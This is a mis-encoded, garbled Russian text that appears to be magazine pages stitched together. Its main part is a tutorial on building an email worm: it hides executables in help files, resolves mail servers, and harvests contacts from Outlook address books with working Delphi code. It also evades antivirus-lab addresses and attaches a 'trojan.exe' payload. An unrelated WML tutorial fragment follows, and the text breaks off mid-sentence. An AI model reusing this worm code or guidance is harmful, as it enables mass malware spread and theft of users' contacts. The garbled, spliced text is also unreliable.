èñõîäíèê ýòîãî ýêñïëîéòà, íî, ê ñîæàëåíèþ, â
íàñòîÿùåå âðåìÿ îí ñðàáàòûâàåò ìàëî ó êîãî. 
Ýêñïëîéòû � ýòî, êîíå÷íî, õîðîøî, íî, ê ñîæà-
ëåíèþ, íå âñåãäà ìîæíî íàéòè ÷òî-òî ðåàëüíî
ðàáî÷åå, ïîýòîìó ñòîèò ïðèñìîòðåòüñÿ ê äðóãèì
ìåòîäàì ìàñêèðîâêè ÷åðâÿ â ïèñüìå. Åñëè â
ïèñüìà ñëàòü exe-ôàéë, òî ìàëî êòî åãî çàïóñ-
òèò, òàê êàê þçåðû ñòàëè îñòîðîæíåå. Íî áîëü-
øèíñòâî èç íèõ äàæå íå ïîäîçðåâàåò, ÷òî îïàñ-
íîñòü ìîæåò ñêðûâàòüñÿ â .hlp- è .chm-ôàéëàõ.
Îäíà èç ìàëîèçâåñòíûõ âîçìîæíîñòåé help-
ôàéëîâ � âûïîëåíèå ñöåíàðèåâ íà ïðîñòîì
ñêðèïòîâîì ÿçûêå, ïðè÷åì ýòè ñöåíàðèè ïîçâî-
ëÿþò çàïóñêàòü èñïîëíèìûå ôàéëû. Ýòó âîç-
ìîæíîñòü ìîæíî èñïîëüçîâàòü ñ âûñîêîé ýô-
ôåêòèâíîñòüþ, òàê êàê äîâåðèÿ ê hlp-ôàéëàì
íàìíîãî áîëüøå, ÷åì ê exe. Help-ôàéëû ìîæíî
ñîçäàâàòü â Help Workshop (âõîäèò â ñîñòàâ MS
Visual Studio 6). Èíôó ïî ñêðèïòîâîìó ÿçûêó
ìîæíî ïðî÷èòàòü â äîêóìåíòàöèè ê ýòîé ïðîã-
ðàììå. Â êà÷åñòâå äåìîíñòðàöèè ýòîãî ìåòîäà
íà äèñêå ëåæèò help-ôàéë, çàïóñêàþùèé
cmd.exe. Íî íå ñîñòàâèò íèêàêîãî òðóäà ñäåëàòü
õýëï, êîòîðûé ôîðìàòèðóåò âèíò ;).
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çàïðîñîâ � IN (=1), êîòîðûé ïðåäíàçíà÷åí äëÿ èñïîëüçîâàíèÿ â Èíòåð-
íåòå. Ïàêåò çàïðîñà èìååò ñëåäóþùèé âèä:
PPaacckkeett LLeennggtthh � 2 áàéòà
QQuueerryy//RReessppoonnssee hheeaaddeerr � 12 áàéòîâ
QQuueessttiioonn � íåò ôèêñèðîâàííîé äëèíû, çàâèñèò îò êîëè÷åñòâà âîïðîñîâ
AAnnsswweerr � ôîðìèðóåòñÿ ñåðâåðîì, íåò ôèêñèðîâàííîé äëèíû
AAuutthhoorriittyy � ôîðìèðóåòñÿ ñåðâåðîì, íåò ôèêñèðîâàííîé äëèíû
AAddddiittiioonnaall � ôîðìèðóåòñÿ ñåðâåðîì, íåò ôèêñèðîâàííîé äëèíû
Çàïðîñ äîëæåí âêëþ÷àòü â ñåáÿ Length, Header è Question, à îòâåò 
ìîæåò èìåòü âñå ïîëÿ, íî ïîëå Answer â íåì ÿâëÿåòñÿ îáÿçàòåëüíûì.
Òåïåðü îïðåäåëèì ñòðóêòóðó, îïèñûâàþùóþ çàãîëîâêè Query/Response
header:

TDNSHeader = packed record
qryID  : word; � èäåíòèôèêàòîð çàïðîñà
options: word; � ôëàãè
qdcount: word; � ñ÷åò÷èê çàïèñåé â ïîëå Question
ancount: word; � ñ÷åò÷èê çàïèñåé â ïîëå Answer
nscount: word; � ñ÷åò÷èê çàïèñåé â ïîëå Authority
arcount: word; � ñ÷åò÷èê çàïèñåé â ïîëå Additional

end;
TQueryType = packed record

QType : word; � òèï çàïðîñà
QClass: word; � êëàññ çàïðîñà

end;

×òîáû ïîëó÷èòü àäðåñ SMTP-ñåðâåðà, êóäà ìû õîòèì ïîñëàòü ïèñüìî, ìû
äîëæíû ñîñòàâèòü çàïðîñ, ïîñëàòü åãî, ïðèíÿòü è äåêîäèðîâàòü îòâåò. Ñî
ñòðóêòóðîé çàïðîñà, ÿ äóìàþ, âñå ïîíÿòíî, äàâàé òåïåðü ðàçáåðåìñÿ ñ âîçâ-
ðàùàåìûìè îòâåòàìè, à äëÿ ýòîãî íàäî ðàçîáðàòüñÿ, ÷òî òàêîå RR-çàïèñè.
Îíè ôîðìèðóþòñÿ NS-ñåðâåðîì è ðàñïîëàãàþòñÿ òîëüêî â îòâåòå è ñòðîãî
ñëåäîì çà ïîëåì çàïðîñà. Òî åñòü Answer è âñå ïîñëåäóþùèå ñîñòîÿò èç íå-
êîòîðîãî êîëè÷åñòâà RR-çàïèñåé ðàçëè÷íîãî ôîðìàòà. Â íèõ ïåðåäàþòñÿ â
êà÷åñòâå èíôîðìàöèè è IP-àäðåñà, è íàçâàíèÿ ñåðâåðîâ, è ïðîñòî òåêñòîâàÿ
èíôîðìàöèÿ. Ïîäðîáíî âñå òèïû ýòèõ çàïèñåé ïðèâåäåíû â RFC 1035, îíè
äîâîëüíî ïîõîæè äðóã íà äðóãà è ðàçëè÷àþòñÿ ëèøü ìåëêèìè äåòàëÿìè.
Òàê ÷òî ÿ áóäó ãîâîðèòü òîëüêî îá èíòåðåñóþùèõ ìåíÿ. Àááðåâèàòóðà RR
îçíà÷àåò Resource Record (ýòî îôèöèàëüíîå íàçâàíèå èç äîêóìåíòà). 
RR-çàïèñü âûãëÿäèò òàê:

NAME up to 255 bytes + 1 ('\0')
TYPE 2 bytes (UINT)
CLASS 2 bytes (UINT)
TTL 4 bytes (signed 32 bits number � 'long')
RDLENGTH 2 bytes (UINT)
RDATA variable, depend on query

Ãäå NAME � íàçâàíèå õîñòà, ê êîòîðîìó îòíîñèòñÿ çàïèñü, TYPE � òèï
ïðåäñòàâëÿåìîé èíôîðìàöèè (î òèïàõ ñì. âûøå), CLASS � êëàññ ñåòè
(â íàøåì ñëó÷àå âñåãäà 'IN' (01)), TTL � âðåìÿ õðàíåíèÿ èíôîðìàöèè â
ñåêóíäàõ, RDLENGTH � äëèíà áëîêà èíôîðìàöèè â áàéòàõ, RDATA �
áëîê ïðåäñòàâëÿåìîé èíôîðìàöèè.
Ñàìîé ãëàâíîé ïðîáëåìîé ïðè äåêîäèðîâàíèè îòâåòà áóäåò ðàçáîð âîçâ-
ðàùàåìûõ èìåí õîñòîâ. Èìÿ õîñòà ñîñòîèò èç íåñêîëüêèõ ÷àñòåé. Ïåðåä
êàæäîé ÷àñòüþ ñòàâèòñÿ áàéò, îïðåäåëÿþùèé åå äëèíó. Íàïðèìåð,
www.microsoft.com áóäåò âûãëÿäåòü êàê 03 www 09 microsoft 03 com 00,
èìÿ âñåãäà îêàí÷èâàåòñÿ íóëåâûì áàéòîì. Íî ñàìàÿ ãëàâíàÿ ôè÷à íå â
ýòîì, à â òîì, ÷òî èìÿ ìîæåò áûòü óïàêîâàíî. Óïàêîâûâàþò èìÿ, èñïîëü-
çóÿ óêàçàòåëü, îí ïðåäñòàâëÿåò ñîáîé äâà áàéòà, ïðè÷åì ïåðâûé èñïîëü-
çóåòñÿ â êà÷åñòâå ñåìàôîðà, äâà ñòàðøèõ áèòà ýòîãî ñåìàôîðà óñòàíîâ-
ëåíû â 1, à îñòàëüíûå íå îïðåäåëåíû. Âòîðîé áàéò ÿâëÿåòñÿ ñìåùåíèåì
îò íà÷àëà çàïðîñà, òî åñòü îò ïåðâîãî áàéòà èäåíòèôèêàòîðà. Åñëè áàéò
äëèíû ðàâåí $C0, òî ñëåäóþùèé çà íèì áàéò áóäåò óêàçàòåëåì (êîøìàð
� ïðèì. gorl'à). Íàïèøåì ôóíêöèþ, äåêîäèðóþùóþ òàêèå èìåíà:

function GetQName(var RecvData; Offset: Integer; var Pt: Pointer): string;
var

ChPt : PChar;
ReadBytes : Byte;

begin
Result := '';
ChPt := @RecvData;
Inc(ChPt, Offset + 1);
while ChPt^ <> '' do
begin

if ChPt^ = #$C0 then
begin

Inc(ChPt);
Result :=Result + GetQName(RecvData, Ord(ChPt^) - 1, Pt);
Break;

end else
begin

ReadBytes := Ord(ChPt^);
while ReadBytes > 0 do
begin

Inc(ChPt);
Result := Result + string(ChPt^);
Dec(ReadBytes);

end;
end;
Inc(ChPt);
if (ChPt^ <> '') then Result := Result + '.';

end;
Pt := ChPt;

end;

Òàê êàê îáúåì ñòàòüè íå ïîçâîëÿåò ðàññìîòðåòü ïðîöåññ MX-ðåçîëâèí-
ãà öåëèêîì, òî ÿ ðàññìîòðþ çäåñü òîëüêî åùå îäèí âàæíûé ìîìåíò �
ïîëó÷åíèå IP DNS-ñåðâåðà, ÷åðåç êîòîðûé ìû áóäåì ñëàòü çàïðîñû. 
Â ýòîì íàì ïîìîæåò ôóíêöèÿ GetNetworkParams èç iphlpapi.dll. Ýòà
ôóíêöèÿ âîçâðàùàåò ðàçëè÷íóþ èíôîðìàöèþ î ñåòåâûõ àäàïòåðàõ, â
òîì ÷èñëå è àäðåñà, ñâÿçàííûõ ñ íèìè DNS. 

function GetDNSServer(): dword;
var

FixedInfoSize : Integer;
FixedInfo : PFixedInfo;
PDNS : PIPAddrString;
GetNetworkParams : function(FI:PFixedInfo; 

var BufLen: Integer): Integer; stdcall;

begin
Result := 0;
GetNetworkParams := GetProcAddress(LoadLibrary('iphlpapi.dll'),
'GetNetworkParams');

if @GetNetworkParams = nil then Exit;
FixedInfoSize := 1024;

GetMem(FixedInfo, FixedInfoSize);
if GetNetworkParams(FixedInfo, 

FixedInfoSize) = ERROR_SUCCESS then
begin

PDNS := @FixedInfo^.DNSServerList;
if PDNS <> nil then Result := inet_addr(PDNS^.IPAddress);

end;

FreeMem(FixedInfo);
end;

Ðàáîòàþùèé ïðèìåð MX-ðåçîëâåðà òû ìîæåøü íàéòè íà äèñêå.

[ïîëó÷åíèå àäðåñîâ äëÿ ðàññûëêè] Ïåðåä òåì êàê íà÷èíàòü ðàñ-
ñûëêó êîïèé ÷åðâÿ, íåïëîõî áûëî áû îïðåäåëèòü àäðåñà, ïî êîòîðûì ìû
áóäåì åãî ðàññûëàòü. Äëÿ ýòîãî íàì íóæíî ñíà÷àëà âûòàùèòü âñå àäðå-
ñà èç àäðåñíîé êíèãè þçåðà, à çàòåì è ïðîñêàíèðîâàòü âñå ôàéëû íà
äèñêàõ íà èõ íàëè÷èå. 
Ïîïðîáóåì äëÿ íà÷àëà äîñòàòü àäðåñà èç àäðåñíîé êíèãè Outlook. Íóæ-
íàÿ íàì èíôîðìàöèÿ õðàíèòñÿ â .wab ôàéëàõ, è ââèäó èõ ïðîñòîé ñòóê-
òóðû áóäåò íåòðóäíî èõ ðàñïàðñèòü âðó÷íóþ. Âîò ïðèìåð êîäà, ñîõðàíÿ-
þùåãî âñå àäðåñà èç wab-ôàéëà â ôàéë Emails.txt:

òàêèå ïèñüìà ñûïÿòñÿ ìíå â ÿùèê êàæäûé äåíü, 
áëàãî âëîæåíèÿ îòôèëüòðîâûâàþòñÿ
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procedure ReadWAB(WABFile: string);
var

F : file;
I : dword;
S : string;
N : array[1..5] of Char;
Buf : array[1..500] of Char;
R : TextFile;

begin
AssignFile(R,'Emails.txt');
ReWrite(R);
AssignFile(F,WABFile);
Reset(F,1);
if IOResult=0 then begin

repeat
BlockRead(F,N,2);
if N[1]+N[2]=#03#48 then begin

BlockRead(F,Buf,Ord(N[2])+30);
S:='';
for I:=1 to Ord(N[2])+30 do S:=S+Buf[I];
Delete(S,1,3);
I:=Pos(#00#00#00,S);
if I>0 then SetLength(S,I-1);
for I:=1 to Ord(N[2]) do if S[I]=#00 then

Delete(S,I,1);
for I:=1 to Length(S) do

if S[I]<chr(45) then begin
SetLength(S,I-1);
Break;

end;
if (Pos('@',S)>0)and(Pos('.',S)>0) then

writeln(r,UpperCase(S));
end else Seek(F,FilePos(F)-1);

until FileSize(F)-FilePos(F)<6;
CloseFile(F);

end;
CloseFile(R);

end;

Íó, è ñîâñåì ïðîñòî áóäåò èçâëå÷ü àäðåñà èç Windows Messenger, òàê êàê
îíè ïðîñòî õðàíÿòñÿ â ðååñòðå, â ðàçäåëå HKEY_CURRENT_USER\
Software\Microsoft\MessengerService\ListCache\.NET Messenger Service, îò-
êóäà èõ ìîæíî ïðî÷èòàòü, ïðîñòî ïåðå÷èñëèâ ñîîòâåòñòâóþùèå êëþ÷è. Êàê
ýòî ñäåëàòü, ÿ äóìàþ, òû è ñàì äîãàäàåøüñÿ. 
Ñëåäóþùèì ýòàïîì ïîñëå àäðåñíûõ êíèã áóäåò ïîèñê ìûë â ôàéëàõ íà äèñ-
êå. Ñäåëàòü ýòî î÷åíü ïðîñòî, ïîýòîìó ïðèâîäèòü ïðèìåðîâ ÿ íå áóäó, íî ïîäñ-
êàæó, ÷òî äëÿ ðåàëèçàöèè ýòîãî òåáå õâàòèò API-ôóíêöèé FindFirstFile,
FindNextFile, FindClose, CreateFile, ReadFile è CloseHandle, íó è åùå îáÿçàòåëü-
íî ïîíàäîáèòñÿ íåìíîãî ìîçãîâ (îíè ïðèãîäÿòñÿ äëÿ òîãî, ÷òîáû ñîîáðàçèòü,
êàê èñïîëüçîâàòü ðåãóëÿðíûå âûðàæåíèÿ äëÿ ïîèñêà ìûë � ïðèì. gorl'à). Êî-
íå÷íî, ïîìèìî ýòîãî, ìîæíî èçâëåêàòü àäðåñà èç àäðåñíûõ êíèã äðóãèõ ïðîã-
ðàìì, ìîæíî äàæå èñïîëüçîâàòü êåéëîãåð è îòñëåæèâàòü ââîäèìûå þçåðîì
äàííûå, âñå ýòè ïðèåìû ïîâûøàþò ýôôåêòèâíîñòü ÷åðâÿ è óâåëè÷èâàþò ñêî-
ðîñòü åãî ðàçìíîæåíèÿ. Î÷åíü âàæíûé ìîìåíò ïðè ïîëó÷åíèè ñïèñêà àäðåñîâ
� ýòî åãî ôèëüòðàöèÿ. Òû âåäü íå õî÷åøü, ÷òîáû òâîé ÷åðâü ñàì îòïðàâèëñÿ
ïðÿìèêîì â ëàáîðàòîðèþ Êàñïåðñêîãî, ïîýòîìó ñëåäóåò ñäåëàòü ñïèñîê ñëîâ-
èñêëþ÷åíèé, êîòîðûå íå äîëæíû âñòðå÷àòüñÿ â àäðåñàõ, ïðèãîäíûõ äëÿ ðàñ-
ñûëêè. Âñå àäðåñà ñ ýòèìè ñëîâàìè ïðîñòî ñëåäóåò íå âêëþ÷àòü â áàçó. 

[cîçäàíèå àòòà÷åé â ïèñüìå] Â ñòàòüå ïðî óïðàâëåíèå òðîÿíîì ÿ ðàñ-
ñìàòðèâàë ïðîñòåéøóþ îòïðàâêó ïèñüìà è ïðîöåññ SMTP-÷àòà, íî íå ðàñ-
ñìàòðèâàë ïðîöåññ îòïðàâêè àòòà÷åé â òåêñòå ïèñüìà. Íà÷íåì ñ òîãî, ÷òî àò-
òà÷è ïåðåäàþòñÿ íå â áèíàðíîì âèäå, à â òåêñòîâîì. Ñâÿçàíî ýòî ñ òåì, ÷òî
èçíà÷àëüíî SMTP/POP3 ïðîòîêîëû ïðåäíàçíà÷àëèñü èñêëþ÷èòåëüíî äëÿ ïå-
ðåäà÷è òåêñòà è ðàáîòàëè íå ñ áàéòàìè, à ñ 7-áèòíûìè ñèìâîëàìè, ÷òî ïîçâî-
ëÿëî ïåðåäàâàòü òîëüêî çíàêè ëàòèíñêîãî àëôàâèòà. Âñå ñèìâîëû, íå ïîïà-
äàþùèå â ýòîò äèàïàçîí, îáðåçàþòñÿ ïî÷òîâûì ñåðâåðîì äî 7 áèò, ÷òî âû-
íóæäàåò íàñ ïåðåä ïåðåäà÷åé êîäèðîâàòü áèíàðíûå äàííûå â ñïåöèàëüíûé
ôîðìàò. Â ñâîå âðåìÿ áûëî ïðèäóìàíî ìíîæåñòâî âàðèàíòîâ êîäèðîâàíèÿ
(UUE, XXE, Base64), íî ïðèæèëñÿ è ñ óñïåõîì èñïîëüçóåòñÿ ñåé÷àñ òîëüêî
ôîðìàò Base64. Äàâàé êðàòêî ðàññìîòðèì ïðèíöèïû êîäèðîâàíèÿ Base64.
Êàê èçâåñòíî, áàéò ñîñòîèò èç âîñüìè áèòîâ. Îäèí áàéò ìîæåò ïðèíèìàòü 256
çíà÷åíèé: îò 0 äî 255. Îäíàêî åñëè âìåñòî âîñüìè áàéò èñïîëüçîâàòü òîëü-
êî øåñòü, òî îáúåì âëîæåííîé èíôîðìàöèè óìåíüøàåòñÿ äî 64 çíà÷åíèé: îò
0 äî 63. Òåïåðü ãëàâíîå: ëþáóþ öèôðó 6-òè áèòîâîãî áàéòà ìîæíî ïðåäñòà-
âèòü â âèäå ïå÷àòíîãî ñèìâîëà. 64 ñèìâîëà ýòî íå òàê ìíîãî, ASCII-ñèìâîëîâ
âïîëíå õâàòèò, ÷òî ïîçâîëÿåò çàêîäèðîâàòü âñå äàííûå â ñëåäóþùèé íàáîð: 

ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz01234
56789+/

À äàëåå áåðóòñÿ òðè ïîñëåäîâàòåëüíûõ áàéòà ïî âîñåìü áèò (âñåãî 24
áèòà) è ïîáèòíî äåëÿòñÿ íà ÷åòûðå 6-òè áèòíûõ áàéòà (âñåãî 24 áèòà).
Íåìíîãî ñòðàííî çâó÷èò, «øåñòèáèòíûé áàéò». Íà ñàìîì äåëå áèò âî-
ñåìü, îäíàêî èñïîëüçóþòñÿ òîëüêî 6 ìëàäøèõ áèò, äâà ñòàðøèõ áèòà èã-
íîðèðóþòñÿ. Îñíîâûâàÿñü íà ýòîì ïðèíöèïå, ìû ìîæåì çàêîäèðîâàòü ëþ-
áóþ äâîè÷íóþ èíôîðìàöèþ â òåêñò, íå î÷åíü ñèëüíî óâåëè÷èâàÿ åå îáú-
åì (íà 30%). Çàòåì íàøà èíôîðìàöèÿ ÷åðåç ïî÷òîâûé ñåðâåð ïîïàäåò ê
íóæíîìó àäðåñàòó, ïî÷òîâèê êîòîðîãî äåêîäèðóåò òåêñò â äâîè÷íûé ôàéë. 
Ãîòîâûé ïðèìåð Base64-êîäèðîâàíèÿ òû íàéäåøü íà äèñêå ñ æóðíàëîì.
Íî ïðîñòî âñòàâèòü Base64-êîä â òåêñò ïèñüìà íåäîñòàòî÷íî. Äëÿ òîãî ÷òî-
áû ïî÷òîâàÿ ïðîãðàììà ðàñïîçíàëà ýòîò òåêñò êàê àòòà÷, íóæíî ñôîðìèðî-
âàòü ñîîòâåòñòâóþùèå çàãîëîâêè. Â íà÷àëî ïèñüìà îáÿçàòåëüíî íóæíî
âñòàâèòü çàãîëîâêè MIME-Version è Content-Type, ïåðâûé îïðåäåëÿåò âåð-
ñèþ MIME (ìû áóäåì èñïîëüçîâàòü 1.0), à âòîðîé � òèï ñîäåðæèìîãî ïèñü-
ìà è ðàçäåëèòåëè ìåæäó MIME-ýëåìåíòàìè. Ïåðåä ñàìèìè Base64-äàííû-
ìè äîëæåí áûòü âñòàâëåí áëîê, îïèñûâàþùèé òèï ýòèõ äàííûõ, èìÿ ôàé-
ëà â àòòà÷å è òèï åãî êîäèðîâàíèÿ. Âûãëÿäåòü ýòî áóäåò ïðèìåðíî òàê:

MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="_===13023223====_"

--_===13023223====_
Content-Type: text/plain; charset="windows-1251"; format="flowed"
Content-Transfer-Encoding: 8bit

[Òåêñò ïèñüìà]
--_===13023223====_
Content-Type: application/octet-stream
Content-Disposition: attachment;
filename="trojan.exe"

Content-Transfer-Encoding: base64

... çäåñü èäóò Base64 äàííûå... 

Ñ òåì, êàê äîáàâèòü ôàéë â àòòà÷, ÿ äóìàþ, âñå ïîíÿòíî. Òàê êàê âñå ïå-
ðåñûëàåìûå ôàéëû ìû áóäåì ïàêîâàòü â àðõèâ, òî äàâàé ðàçáåðåìñÿ,
êàê ìîæíî åãî ñîçäàòü. Ñàìûì ïðîñòûì è ëó÷øèì ñïîñîáîì áóäåò èñ-
ïîëüçîâàíèå âíåøíåãî àðõèâàòîðà, íàïðèìåð, åñëè íà êîìïå þçåðà óñòà-
íîâëåí WinRar, òî àðõèâ ñîçäàåòñÿ âñåãî îäíîé ñòðîêîé: WinExec('rar.exe
a -r data.rar trojan.exe', SW_HIDE). Ïîäîáíûì îáðàçîì ìîæíî èñïîëüçî-
âàòü è äðóãèå àðõèâàòîðû, íî, ê ñîæàëåíèþ, íå ó âñåõ íà êîìïå ñòîèò õîòü
êàêîé-íèáóäü àðõèâàòîð. Â òàêîì ñëó÷àå íàì íè÷åãî íå îñòàåòñÿ, êðîìå
êàê ñîçäàâàòü àðõèâû âðó÷íóþ. Íî òàê êàê ïàðèòüñÿ ñî ñæàòèåì, ÿ äóìàþ,
òåáå íå õî÷åòñÿ, òî áóäåì èñïîëüçîâàòü áèáëèîòåêó MadZip, êîòîðàÿ ïîç-
âîëÿåò ïîëíîöåííî ðàáîòàòü ñ ZIP-àðõèâàìè, è ïðè ýòîì äîáàâëÿåò â èñ-
ïîëíèìûé ôàéë âñåãî 20 Êá âåñà. Áèáëèîòåêà êàê âñåãäà íà äèñêå ñ æóð-
íàëîì, ñ íåé î÷åíü ëåãêî ðàçîáðàòüñÿ, ÷åñòíîå ñëîâî.
Èòàê, ñóòü ðàáîòû ÷åðâåé è íåêîòîðûå ìîìåíòû èõ ðåàëèçàöèè ÿ ïîñòàðàë-
ñÿ çäåñ îïèñàòü. Ïðèâåäåííîé çäåñü èíôîðìàöèè, êîíå÷íî, íåäîñòàòî÷íî
äëÿ òîãî, ÷òîáû âûçâàòü íîâóþ ýïèäåìèþ, íî âñå ÷òî äëÿ ýòîãî íóæíî òû
ìîæåøü ëåãêî èçó÷èòü ñàì (íî íå â êîåì ñëó÷àå íå äåëàé ýòîãî � ýòî ïëî-
õî!). Äëÿ íà÷àëà ñîâåòóþ íàéòè â ñåòè èñõîäíèêè Beagle è MyDoom è âíè-
ìàòåëüíî èõ èçó÷èòü, çàòåì ïðî÷åñòü è ïîíÿòü RFC íà SMTP è MIME-ïðî-
òîêîëû. Íóæíî ðàçáèðàòüñÿ â ïñèõîëîãèè äëÿ òîãî, ÷òîáû çàñòàâèòü áîëü-
øîå êîëè÷åñòâî þçåðîâ çàïóñòèòü àòòà÷. È âåñüìà íåïëîõî áûëî áû äîáà-
âèòü ê ÷åðâÿêó êàêîé-íèáóäü ïîëèìîðô. Íî ÿ âñå ðàâíî íàäåþñü, ÷òî íîâîé
ýïèäåìèè íå áóäåò, òàê êàê êàæäûé, êòî ðàçáåðåòñÿ â ýòîé òåìå äî êîíöà,
íå ñòàíåò òðàòèòü ñâîè çíàíèÿ íà áåñïîëåçíîå óíè÷òîæåíèå, à ëó÷øå èñ-
ïîëüçóåò èõ äëÿ íàïèñàíèÿ îáùåñòâåííî ïîëåçíîãî ñîôòà. Âåðíî

àòòà÷ â ïèñüìå





WWAAPP (Wireless Application Protocol) � ýòî ïðîòîêîë, ðàçðàáîòàííûé ñïå-
öèàëüíî äëÿ ìîáèëüíûõ óñòðîéñòâ. Èìåííî ÷åðåç íåãî ïðîèñõîäèò ïåðå-
äà÷à WML-ñòðàíèö. WML � òåõíîëîãèÿ ñîçäàíèÿ WAP-êîíòåíòà. ßâëÿ-
åòñÿ ðàçíîâèäíîñòüþ ÿçûêà ðàçìåòêè XML, ñî âñåìè âûòåêàþùèìè îò-
ñþäà ïîñëåäñòâèÿìè. Åñëè òû ðàíüøå êîäèë íà XML èëè HTML, òî íè÷å-
ãî íîâîãî òû òóò íå óâèäèøü, çà èñêëþ÷åíèåì, ïîæàëóé, òýãîâ îðãàíèçà-
öèè áëî÷íûõ ñòðóêòóð è âñòàâîê êîäà íà WMLScript. Åäèíñòâåííîå íàäî
çàïîìíèòü, ÷òî âñå òýãè â WML äîëæíû áûòü çàêðûòûìè. Åñëè òû èìå-
åøü äåëî ñ òýãàìè, êîòîðûå íå èìåþò çàêðûâàþùåãî ïàðòíåðà, íàïðè-
ìåð <br>, òî ñëåäóåò ïèñàòü <br/> (ñàìîçàêðûâàþùèéñÿ òýã).
Èñõîäÿ èç òîãî, ÷òî WML � ðàçíîâèäíîñòü XML, ïåðâàÿ ñòðî÷êà êîäà
ìîáèëüíîé ïàãè áóäåò óêàçàíèåì íà ñòàíäàðòû w3.org:

<?xml version="1.0"?>
<!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD WML 1.1//EN"

"http://www.wapforum.org/DTD/wml_1.1.xml">

Âûøåóêàçàííàÿ ñòðîêà ÿâëÿåòñÿ îáÿçàòåëüíîé, è èìåííî ñ íåå äîëæíà íà÷è-
íàòüñÿ ëþáàÿ wap-ñòðàíèöà. Äàëåå èäåò íåïîñðåäñòâåííî òýãè ñàìîãî ÿçûêà.

Ðàññìîòðèì ñëåäóþùèé êîä:

<wml>
<card id="home" title="Welcome">
<p align="center">Ñîäåðæèìîå íàøåé ñòðàíèöû 

âûðîâíåííîå ïî öåíòðó<br/>
<img src="logo.wbmp" alt="home"/><br/>
<do type="accept" label="next"><go href="#card1"/></do></p>

</card>

<!-Òåêñò êîììåíòàðèÿ -->

<card id="card1" title="Page 1">
<p>This is the first card.</p>
<do type="accept" label="next"><go href="#card2"/></do>
<do type="prev" label="back"><prev/></do>

</card>

</wml>

Êàê êóþòñÿ ìîáèëüíûå ñàéòû

Ïðåäåë ììîáèëüíîñòè! ÌÍÎÃÈÅ ÎÏÅÐÀÒÎÐÛ ÌÎÁÈËÜÍÎÉ ÑÂßÇÈ
ÏÛÒÀÞÒÑß ÏÐÈÂËÅ×Ü ÑÂÎÈÕ ÊËÈÅÍÒÎÂ
ÀÊÖÈßÌÈ ÂÐÎÄÅ «×ÈÒÀÉ ÑÂÎÞ ÏÎ×ÒÓ ÏÐßÌÎ
Ñ ÌÎÁÈËÜÍÈÊÀ!». ÈÕ ÑÓÒÜ ÇÀÊËÞ×ÀÅÒÑß 
Â ÒÎÌ, ×ÒÎ ÒÅÁÅ ÍÀÄÎ ÎÒÎÑËÀÒÜ ÏËÀÒÍÎÅ
ÑÌÑ ÏÎ ÎÏÐÅÄÅËÅÍÍÎÌÓ ÍÎÌÅÐÓ. ÏÎÒÎÌ
ÎÏÅÐÀÒÎÐ ÇÀ×ÈÒÀÅÒ ÒÅÁÅ ÑÎÎÁÙÅÍÈÅ. ÝÒÎ
ÍÅ ÒÎËÜÊÎ ÍÅÓÄÎÁÍÎ, ÍÎ È ÍÅ ÁÅÑÏËÀÒÍÎ.
ÄÀ È ÈÌÅÅÒ ËÈ ÑÌÛÑË ÏÎËÜÇÎÂÀÒÜÑß ÝÒÈÌÈ
ÓÑËÓÃÀÌ, ÅÑËÈ Â ÒÂÎÅÌ ÐÀÑÏÎÐßÆÅÍÈÈ
ÅÑÒÜ ÒÀÊÈÅ ÂÅÙÈ, ÊÀÊ ÌÎÁÈËÜÍÈÊ Ñ
ÏÎÄÄÅÐÆÊÎÉ WAP È ÍÀÂÛÊÈ ÊÎÄÈÍÃÀ 
ÍÀ WML? ×ÒÎ Æ, ÌÎÁÈËÜÍÈÊ � Â ÊÀÐÌÀÍÅ, 
À ÊÀÊ ÊÎÄÈÒÜ ÍÀ WML ß ÑÅÉ×ÀÑ ÏÎÊÀÆÓ 
| Äìèòðèåâ Äàíèë aka xbit (stream@oskolnet.ru, 334437228)
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Ïåðâûé òýã <wml> óêàçûâàåò, ÷òî äàííàÿ ñòðàíè÷êà ðàçðàáîòàíà ñ èñ-
ïîëüçîâàíèåì èìåííî ýòîãî ÿçûêà ðàçìåòêè. Çàìå÷ó, ÷òî ýòîò òýã ÿâ-
ëÿåòñÿ îáÿçàòåëüíûì è îïóñêàòü åãî íå ñëåäóåò. Äàëåå èäåò òýã
<card>. Êàê èçâåñòíî, ìîáèëüíûå óñòðîéñòâà îáëàäàþò íåáîëüøîé
ïðîïóñêíîé ñïîñîáíîñòüþ è, ñëåäîâàòåëüíî, çàñòàâëÿòü êàæäûé ðàç
ïîëüçîâàòåëÿ æäàòü çàãðóçêè ñòðàíèö � äåëî íåõîðîøåå. Ïîýòîìó â
WML åñòü âîçìîæíîñòü çàãðóçèòü ñðàçó îäíó áîëüøóþ ñòðàíè÷êó è
ðàçäåëèòü åå ñ ïîìîùüþ òýãîâ <card> íà ìàëåíüêèå, ïî êîòîðûì óæå
áóäåò ïåðåìåùàòüñÿ ïîëüçîâàòåëü. Çëîóïîòðåáëÿòü ýòèìè òýãàìè
íåëüçÿ, òàê êàê ïàìÿòü ó òåëåôîíà íå ðåçèíîâàÿ, è òâîÿ ñòðàíèöà ìî-
æåò ïîïðîñòó íå ïîìåñòèòüñÿ, èëè çàãðóæàòüñÿ òàê äîëãî, ÷òî ïîëüçî-
âàòåëü ïðåäïî÷òåò ñîñåäíèé ïðîåêò. Òàê ÷òî íå ïîâòîðÿé îøèáêó íî-
âè÷êîâ � íå ïèõàé â îäíó ñòðàíèöó âåñü ñàéò. Ê ñëîâó, îá îáúåìàõ.
Ñòàðàéñÿ ðàçìåùàòü èíôîðìàöèþ òàê, ÷òîáû ôèíàëüíûé ðàçìåð
ñòðàíèöû íå ïðåâûøàë 1,4 êá. Åñëè íåîáõîäèìî çàïèõíóòü êàêîé-ëè-
áî òåêñò, òî ìàêñèìàëüíî ñîêðàòè åãî, òàê êàê ÷èòàòü ñ ìàëåíüêîãî ýê-
ðàíà è âñå âðåìÿ ëèñòàòü âíèç � ïðîñòî íåóäîáíî.

Äëÿ òýãà <card> ñïðàâåäëèâû ñëåäóþùèå ñîáûòèÿ:

Onenterbackward � ñðàáàòûâàåò ïðè âûáîðå ýëåìåíòà "prev" 
Onenterforward � ïðè âûçîâå êàðòû 
Ontimer � ïî èñòå÷åíèè âðåìåíè ó ýëåìåíòà "timer". 

Òåïåðü äàâàé ðàññìîòðèì àòðèáóòû ýòîãî òýãà. Id � ýòî èäåíòèôèêà-
